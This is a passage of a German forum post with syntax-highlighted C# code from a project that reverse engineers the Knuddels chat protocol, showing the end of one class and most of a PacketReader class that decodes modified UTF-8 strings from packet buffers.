/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">object&nbsp;temp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">num3</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">hashtable</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">temp</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)</span><span style="color: #0000BB">num3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Set</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Dazu brauchen wir noch 2 weitere Klassen, PacketReader und PacketWriter:<br />
<br />
PacketReader:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br />using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Knuddels_Reverse<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;</span><span style="color: #0000BB">PacketReader&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">MemoryStream<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;offset</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">PacketReader</span><span style="color: #007700">(</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">)&nbsp;:&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">buffer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">offset&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;ReadUTF</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;utflen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ReadShort</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">bytearr&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">chararr&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">char</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">&#93;;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;c</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">char2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">char3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;chararr_count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ReadFully</span><span style="color: #007700">(</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xff</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">127</span><span style="color: #007700">)&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chararr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">chararr_count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count</span><span style="color: #007700">&#93;&nbsp;&amp;&nbsp;</span><span style="color: #0000BB">0xff</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&gt;&gt;&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">7</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chararr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">chararr_count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">13</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#91;Error&#93;&nbsp;malformed&nbsp;input:&nbsp;partial&nbsp;character&nbsp;at&nbsp;end"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0xC0</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">0x80</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#91;Error&#93;&nbsp;&nbsp;malformed&nbsp;input&nbsp;around&nbsp;byte&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chararr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">chararr_count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)(((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x1F</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">)&nbsp;|&nbsp;(</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #0000BB">14</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">utflen</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#91;Error&#93;&nbsp;malformed&nbsp;input:&nbsp;partial&nbsp;character&nbsp;at&nbsp;end"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char3&nbsp;</span><span style="color: #007700">=&nbsp;(int)</span><span style="color: #0000BB">bytearr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(((</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0xC0</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">0x80</span><span style="color: #007700">)&nbsp;||&nbsp;((</span><span style="color: #0000BB">char3&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0xC0</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">0x80</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#91;Error&#93;&nbsp;malformed&nbsp;input&nbsp;around&nbsp;byte&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">chararr</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">chararr_count</span><span style="color: #007700">++&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">char</span><span style="color: #007700">)(((</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x0F</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">12</span><span style="color: #007700">)&nbsp;|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">char2&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">6</span><span style="color: #007700">)&nbsp;|<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((</span><span style="color: #0000BB">char3&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x3F</span><span style="color: #007700">)&nbsp;&lt;&lt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#91;Error&#93;&nbsp;malformed&nbsp;input&nbsp;around&nbsp;byte&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">);<br 